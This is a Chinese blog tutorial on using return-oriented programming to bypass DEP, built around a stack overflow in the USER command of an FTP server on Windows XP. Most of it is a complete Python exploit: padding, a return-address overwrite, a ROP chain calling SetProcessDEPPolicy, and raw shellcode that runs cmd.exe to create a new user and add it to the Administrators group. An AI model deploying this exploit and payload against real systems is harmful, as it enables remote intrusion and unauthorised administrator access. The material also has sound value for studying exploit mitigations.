利用ROP技术绕过DEP保护

by Netfairy - 2015-09-10

0x00 前言

缓冲区溢出的目的是为了控制EIP,从而执行攻击者构造的代码流程。防御缓冲区溢出攻击的一种措施是,选择将数据内存段标记为不可执行,随着攻击技术的演进,产生了ROP (Return-Oriented Programming),Wiki上中文翻译为“返回导向编程”。


0x01 寻找小部件

ROP的关键在于巧妙的构造堆栈,用一系列 目的执行指令+retn指令 组成ROP小部件(gadgets)布置堆栈。文章使用的程序是:FTPServer.exe,这个程序在处理USER 命令时候对输入的数据不加检查直接复制到缓冲区,造成缓冲区溢出。环境windows xp sp3。首先我们用Immunity Debugger载入FTPServer.exe并运行,在命令行中键入

!mona rop –m msvcrt.dll
找到生成的rop_chains.txt,它由于我们使用SetProcessDEPPolicy函数关闭DEP,所以直接找到


################################################################################

Register setup for SetProcessDEPPolicy() :BOOL WINAPI SetProcessDEPPolicy(_In_ DWORD dwFlags);
--------------------------------------------
 EAX = <not used>
 ECX = <not used>
 EDX = <not used>
 EBX = dwFlags (ptr to 0x00000000)
 ESP = ReturnTo (automatic)
 EBP = ptr to SetProcessDEPPolicy()
 ESI = <not used>
 EDI = ROP NOP (4 byte stackpivot)A
--------------------------------------------
为了调用SetProcessDEPPolicy,我们需要设置寄存器为上面的值,然后执行pushad retn把以上寄存器EAX---EDI依次压栈,最后就可以去执行SetProcessDEPPolicy关闭DEP然后执行我们堆栈上的shellcode了,我使用python写exploit,找到rop_chains.txt的python部分


*** [ Python ] ***

	def create_rop_chain():

		# rop chain generated with mona.py - www.corelan.be
		rop_gadgets = ""
		rop_gadgets += struct.pack('<L',0x00000000)	# [-] Unable to find ptr to SetProcessDEPPolicy() (-> to be put in ebp)
		rop_gadgets += struct.pack('<L',0x77c161bb)	# POP EBX # RETN [msvcrt.dll] 
		rop_gadgets += struct.pack('<L',0x77be126c)	# &0x00000000 [msvcrt.dll]
		rop_gadgets += struct.pack('<L',0x77c17641)	# POP EDI # RETN [msvcrt.dll] 
		rop_gadgets += struct.pack('<L',0x77c17641)	# skip 4 bytes [msvcrt.dll]
		rop_gadgets += struct.pack('<L',0x77c267f0)	# PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] 
		return rop_gadgets

	rop_chain = create_rop_chain()
这些小部件可以作为参考,如果不够用,则手工找也行。



0x02 Exploit It

最终我构造好的shellcode如下:

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.2.15", 21))
s.recv(1024)

padding="A"*247  #填充数据

#覆盖返回地址
eip=struct.pack('<L',0x77bfad6a)  #retn

#填补由于esp指向ESP+8处造成的空缺
padding1='\x90'*8

#设置EBX
rop=""
rop+=struct.pack('<L',0x77da9388)  #pop ebx #retn dwFlags (ptr to 0x00000000)
rop+='\xff\xff\xff\xff'
rop+=struct.pack('<L',0x772050c1)  #inc ebx #retn

#设置EBP
rop+=struct.pack('<L',0x77bebb47)  #pop ebp #retn
rop+=struct.pack('<L',0x7c86231c)  #ptr to SetProcessDEPPolicy()

#设置ESI
rop+=struct.pack('<L',0x77bf3181)  #pop esi #retn
rop+=struct.pack('<L',0x77bfad6a)  #ptr to retn

#设置EDI
rop+=struct.pack('<L',0x77bfa88c)  #pop edi #retn
rop+=struct.pack('<L',0x77bfad6a)  #ptr to retn

#把设置好的寄存器依次压栈
rop+=struct.pack('<L',0x77d23ad9)  #pushad #retn

#SHELLCODE
shellcode="\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

User = padding+eip+padding1+rop+shellcode
s.send("USER" + User + "\r\n")
执行后

11.png

Boom!!成功添加一个新用户。


0x03 参考

《黑客防线》12 期文章